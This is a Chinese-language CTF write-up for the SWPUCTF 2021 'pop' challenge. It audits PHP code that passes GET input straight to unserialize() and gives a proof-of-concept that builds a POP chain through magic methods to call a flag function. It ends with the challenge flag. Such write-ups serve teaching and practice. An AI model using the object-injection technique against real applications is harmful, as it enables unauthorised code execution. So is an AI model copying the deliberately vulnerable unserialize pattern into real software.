先进行代码审计:
class w44m{
private $admin = 'aaa';
protected $passwd = '123456'; //!!!有private时,一定要进行url编码,否则有可能会出错
public function Getflag(){
if($this->admin === 'w44m' && $this->passwd ==='08067'){
include('flag.php');
echo $flag;
}else{
echo $this->admin;
echo $this->passwd;
echo 'nono';
}
}
}
//这段代码的意思就是,当admin的值w44m和passwd的值为08067时,输出flag
class w22m{
public $w00m;
public function __destruct(){
echo $this->w00m;
}
}
//w22m类中,定义了一个变量w00m,和__destruct魔术方法,这个魔术方法在w22m销毁时调用,输出w00m的值
class w33m{
public $w00m;
public $w22m; //这里定义了两个变量w00m和w22m
public function __toString(){ //__toString()是一个魔术方法,用于将对象转换成字符串形式。
$this->w00m->{$this->w22m}(); //调用w33m中w00m属性的w22m方法
return 0;
}
}
$w00m = $_GET['w00m']; //用get方式传入w00m
unserialize($w00m); //将w00m反序列化
我们要构造pop链,也就是反着来。
poc:
<?php
class w44m{
private $admin = 'w44m';
protected $passwd = '08067';
}
class w22m{
public $w00m;
}
class w33m{
public $w00m;
public $w22m;
}
$a=new w22m();
$a->w00m=new w33m();
$a->w00m->w00m=new w44m();
$a->w00m->w22m='Getflag';
echo urlencode(serialize($a));
?>
运行结果:
最后将得到的结果传入
得到flag:NSSCTF{4bf68f1d-d723-4b87-b276-c879abf826ef}
参考链接:[SWPUCTF 2021 新生赛]pop-CSDN博客
标签:__,w00m,SWPUCTF,passwd,w22m,pop,echo,2021,public From: https://blog.csdn.net/2301_80871705/article/details/142885317